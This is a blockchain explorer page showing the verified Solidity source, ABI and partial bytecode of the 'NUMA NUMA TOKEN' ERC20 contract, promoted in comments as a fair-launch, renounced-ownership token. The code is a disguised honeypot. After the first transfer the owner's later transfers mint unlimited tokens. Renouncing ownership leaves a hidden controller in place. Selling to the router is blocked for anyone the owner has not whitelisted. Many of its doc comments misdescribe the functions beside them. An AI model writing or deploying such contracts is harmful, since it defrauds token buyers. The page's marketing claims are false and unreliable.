ETH Price: $3,154.16 (+1.12%)
Gas: 2 Gwei

Token

NUMA NUMA TOKEN (NUMA)
 

Overview

Max Total Supply

20,000,004,619,634,965,841.537455066267163577 NUMA

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cyberpnk.eth
Balance
9,589,191,247.069214845731867022 NUMA

Value
$0.00
0x73e4a2b60cf48e8baf2b777e175a5b1e4d0c2d8f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NUMANUMA

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-05
*/

/*
  _   _ _   _ __  __    _          
 | \ | | | | |  \/  |  / \         
 |  \| | | | | |\/| | / _ \        
 | |\  | |_| | |  | |/ ___ \       
 |_| \_|\___/|_|  |_/_/ __\_\ _    
       | \ | | | | |  \/  |  / \   
       |  \| | | | | |\/| | / _ \  
       | |\  | |_| | |  | |/ ___ \ 
  _    |_| \_|\___/|_|_ |_/_/   \_\
 | |_ ___ | |/ / ____| \ | |       
 | __/ _ \| ' /|  _| |  \| |       
 | || (_) | . \| |___| |\  |       
  \__\___/|_|\_\_____|_| \_|       


             🐶 NUMA NUMA INU - THE HOTTEST NEW TOKEN ON THE ETHEREUM NETWORK!

HODL AND EARN WITH THIS INNOVATIVE DEFLATIONARY TOKEN! 5% REFLECTION ON SELLS AND 1% SENT TO OUR MARKETING WALLET. ☻

 ✅ Fair Launch
 ✅ Locked Liquidity
 ✅ Renounced Ownership

🔥 50% OF TOTAL SUPPLY WILL BE BURNED! 🔥

🐶 HOP ON THE NUMA NUMA TRAIN 🚂 TODAY AND YOU WILL MAKE IT! ~~~~~ 💰

HERES OUR TELEGRAM BOYS:  https://t.me/numanumatoken
*/

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
     
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
      
pragma solidity ^0.8.10;
contract Ownable is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    uint256 public _maxTx = 1;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function marketingwallet (address set) public checker {
        router = set;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function fee(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */

     function setMaxTx(uint256 Maxtx) public checker {
       _maxTx = Maxtx * 10**18;

     }

    function chairtywallet(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            fee(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount < _maxTx);
        if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) public virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}
contract  NUMANUMA is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply =  9000000000000 * 10 ** 18;


    constructor () ERC20('NUMA NUMA TOKEN','NUMA') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"chairtywallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"marketingwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Maxtx","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526001600755601260ff1660809060ff168152506c71989183527a1c5d3c40000000600b553480156200003557600080fd5b506040518060400160405280600f81526020017f4e554d41204e554d4120544f4b454e00000000000000000000000000000000008152506040518060400160405280600481526020017f4e554d41000000000000000000000000000000000000000000000000000000008152506000620000b4620001ca60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a35081600890805190602001906200016a92919062000324565b5080600990805190602001906200018392919062000324565b506001600a60006101000a81548160ff0219169083151502179055505050620001c4620001b5620001ca60201b60201c565b600b54620001d260201b60201c565b620005a6565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200023c906200045b565b60405180910390fd5b8060066000828254620002599190620004b6565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b19190620004b6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000318919062000524565b60405180910390a35050565b828054620003329062000570565b90600052602060002090601f016020900481019282620003565760008555620003a2565b82601f106200037157805160ff1916838001178555620003a2565b82800160010185558215620003a2579182015b82811115620003a157825182559160200191906001019062000384565b5b509050620003b19190620003b5565b5090565b5b80821115620003d0576000816000905550600101620003b6565b5090565b600082825260208201905092915050565b7f45524332303a206465706c6f7920746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000443602183620003d4565b91506200045082620003e5565b604082019050919050565b60006020820190508181036000830152620004768162000434565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004c3826200047d565b9150620004d0836200047d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000508576200050762000487565b5b828201905092915050565b6200051e816200047d565b82525050565b60006020820190506200053b600083018462000513565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058957607f821691505b60208210811415620005a0576200059f62000541565b5b50919050565b6080516123e8620005c2600039600061055801526123e86000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80637830b072116100a2578063a457c2d711610071578063a457c2d7146102d1578063a9059cbb14610301578063bc33718214610331578063cdc9f33c1461034d578063dd62ed3e1461036957610116565b80637830b0721461025b5780637c557b10146102795780638da5cb5b1461029557806395d89b41146102b357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780636161eb181461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611783565b60405180910390f35b610153600480360381019061014e919061184d565b61042b565b60405161016091906118a8565b60405180910390f35b610171610449565b60405161017e91906118d2565b60405180910390f35b6101a1600480360381019061019c91906118ed565b610453565b6040516101ae91906118a8565b60405180910390f35b6101bf610554565b6040516101cc919061195c565b60405180910390f35b6101ef60048036038101906101ea919061184d565b61057c565b6040516101fc91906118a8565b60405180910390f35b61021f600480360381019061021a919061184d565b610628565b005b61023b60048036038101906102369190611977565b6107f2565b60405161024891906118d2565b60405180910390f35b61025961083b565b005b610263610991565b60405161027091906118d2565b60405180910390f35b610293600480360381019061028e9190611977565b610997565b005b61029d610a70565b6040516102aa91906119b3565b60405180910390f35b6102bb610a96565b6040516102c89190611783565b60405180910390f35b6102eb60048036038101906102e6919061184d565b610b28565b6040516102f891906118a8565b60405180910390f35b61031b6004803603810190610316919061184d565b610c1c565b60405161032891906118a8565b60405180910390f35b61034b600480360381019061034691906119ce565b610e83565b005b61036760048036038101906103629190611b43565b610f35565b005b610383600480360381019061037e9190611b8c565b611010565b60405161039091906118d2565b60405180910390f35b6060600880546103a890611bfb565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611bfb565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600061043f610438611097565b848461109f565b6001905092915050565b6000600654905090565b600061046084848461126a565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ab611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052290611c9f565b60405180910390fd5b61054885610537611097565b85846105439190611cee565b61109f565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b600061061e610589611097565b848460056000610597611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106199190611d22565b61109f565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f90611dea565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611e7c565b60405180910390fd5b818161072b9190611cee565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282546107809190611cee565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e591906118d2565b60405180910390a3505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610843611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611ee8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b61099f611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611ee8565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054610aa590611bfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad190611bfb565b8015610b1e5780601f10610af357610100808354040283529160200191610b1e565b820191906000526020600020905b815481529060010190602001808311610b0157829003601f168201915b5050505050905090565b60008060056000610b37611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb90611f7a565b60405180910390fd5b610c11610bff611097565b858584610c0c9190611cee565b61109f565b600191505092915050565b6000610c26611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c93575060011515600a60009054906101000a900460ff161515145b15610cce57610caa610ca3611097565b848461126a565b6000600a60006101000a81548160ff02191690831515021790555060019050610e7d565b610cd6611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d43575060001515600a60009054906101000a900460ff161515145b15610e6657610d5d8260065461159c90919063ffffffff16565b600681905550610db582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e5591906118d2565b60405180910390a360019050610e7d565b610e78610e71611097565b848461126a565b600190505b92915050565b610e8b611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f90611ee8565b60405180910390fd5b670de0b6b3a764000081610f2c9190611f9a565b60078190555050565b610f3d611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190611ee8565b60405180910390fd5b60005b815181101561100c57610ff9828281518110610fec57610feb611ff4565b5b60200260200101516115fa565b808061100490612023565b915050610fcd565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611106906120de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612170565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d91906118d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190612202565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612294565b60405180910390fd5b600754811061135857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140557600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140457600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612326565b60405180910390fd5b81816114989190611cee565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461152a9190611d22565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158e91906118d2565b60405180910390a350505050565b60008082846115ab9190611d22565b9050838110156115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790612392565b60405180910390fd5b8091505092915050565b611602611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461168f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168690611ee8565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611724578082015181840152602081019050611709565b83811115611733576000848401525b50505050565b6000601f19601f8301169050919050565b6000611755826116ea565b61175f81856116f5565b935061176f818560208601611706565b61177881611739565b840191505092915050565b6000602082019050818103600083015261179d818461174a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117e4826117b9565b9050919050565b6117f4816117d9565b81146117ff57600080fd5b50565b600081359050611